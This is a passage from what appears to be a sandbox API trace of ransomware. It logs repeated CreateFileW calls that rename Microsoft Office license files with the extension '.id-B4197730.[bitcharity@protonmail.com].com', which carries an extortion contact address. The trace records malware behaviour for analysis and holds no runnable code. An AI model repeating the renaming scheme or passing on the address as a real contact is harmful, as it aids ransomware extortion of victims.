Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.898] CloseHandle (hObject=0x1234) returned 1 [0251.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 92 [0251.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 92 [0251.898] lstrlenW (lpString=".doc") returned 4 [0251.899] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.899] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.899] CloseHandle (hObject=0x1234) returned 1 [0251.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms") returned 80 [0251.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms") returned 80 [0251.900] lstrlenW (lpString=".doc") returned 4 [0251.901] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.901] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.901] CloseHandle (hObject=0x1234) returned 1 [0251.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms") returned 83 [0251.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms") returned 83 [0251.902] lstrlenW (lpString=".doc") returned 4 [0251.903] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.903] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.903] CloseHandle (hObject=0x1234) returned 1 [0251.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms") returned 82 [0251.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-pl.xrm-ms") returned 82 [0251.904] lstrlenW (lpString=".doc") returned 4 [0251.905] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.905] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.905] CloseHandle (hObject=0x1234) returned 1 [0251.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms") returned 83 [0251.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ppd.xrm-ms") returned 83 [0251.906] lstrlenW (lpString=".doc") returned 4 [0251.906] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.906] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.910] CloseHandle (hObject=0x1234) returned 1 [0251.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0251.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0251.911] lstrlenW (lpString=".doc") returned 4 [0251.911] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.911] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.912] CloseHandle (hObject=0x1234) returned 1 [0251.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0251.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0251.912] lstrlenW (lpString=".doc") returned 4 [0251.913] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.913] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.913] CloseHandle (hObject=0x1234) returned 1 [0251.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms") returned 76 [0251.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ppd.xrm-ms") returned 76 [0251.913] lstrlenW (lpString=".doc") returned 4 [0251.914] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.914] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.914] CloseHandle (hObject=0x1234) returned 1 [0251.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms") returned 79 [0251.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Grace-ul-oob.xrm-ms") returned 79 [0251.914] lstrlenW (lpString=".doc") returned 4 [0251.915] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.915] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.915] CloseHandle (hObject=0x1234) returned 1 [0252.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms") returned 78 [0252.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-pl.xrm-ms") returned 78 [0252.089] lstrlenW (lpString=".doc") returned 4 [0252.997] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0252.997] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0252.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.997] CloseHandle (hObject=0x1280) returned 1 [0252.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms") returned 82 [0252.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms") returned 82 [0252.998] lstrlenW (lpString=".doc") returned 4 [0252.999] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0252.999] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0252.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.000] CloseHandle (hObject=0x1280) returned 1 [0253.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms") returned 76 [0253.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms") returned 76 [0253.001] lstrlenW (lpString=".doc") returned 4 [0253.002] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.002] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.003] CloseHandle (hObject=0x1280) returned 1 [0253.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms") returned 77 [0253.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms") returned 77 [0253.003] lstrlenW (lpString=".doc") returned 4 [0253.004] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.005] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.005] CloseHandle (hObject=0x1280) returned 1 [0253.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms") returned 80 [0253.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms") returned 80 [0253.007] lstrlenW (lpString=".doc") returned 4 [0253.008] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.008] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.009] CloseHandle (hObject=0x1280) returned 1 [0253.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms") returned 80 [0253.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms") returned 80 [0253.009] lstrlenW (lpString=".doc") returned 4 [0253.010] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.010] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.010] CloseHandle (hObject=0x1280) returned 1 [0253.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms") returned 89 [0253.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms") returned 89 [0253.011] lstrlenW (lpString=".doc") returned 4 [0253.011] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.011] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.012] CloseHandle (hObject=0x1280) returned 1 [0253.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms") returned 90 [0253.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms") returned 90 [0253.013] lstrlenW (lpString=".doc") returned 4 [0253.014] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.014] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.014] CloseHandle (hObject=0x1280) returned 1 [0253.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0253.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0253.015] lstrlenW (lpString=".doc") returned 4 [0253.016] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.016] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.016] CloseHandle (hObject=0x1280) returned 1 [0253.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms") returned 84 [0253.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms") returned 84 [0253.017] lstrlenW (lpString=".doc") returned 4 [0253.018] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.018] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.019] CloseHandle (hObject=0x1280) returned 1 [0253.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms") returned 85 [0253.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms") returned 85 [0253.019] lstrlenW (lpString=".doc") returned 4 [0253.020] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.020] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.021] CloseHandle (hObject=0x1280) returned 1 [0253.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0253.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0253.022] lstrlenW (lpString=".doc") returned 4 [0253.023] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.023] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.023] CloseHandle (hObject=0x1280) returned 1 [0253.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms") returned 85 [0253.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-pl.xrm-ms") returned 85 [0253.024] lstrlenW (lpString=".doc") returned 4 [0253.025] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.025] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.025] CloseHandle (hObject=0x1280) returned 1 [0253.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms") returned 86 [0253.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ppd.xrm-ms") returned 86 [0253.026] lstrlenW (lpString=".doc") returned 4 [0253.027] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, 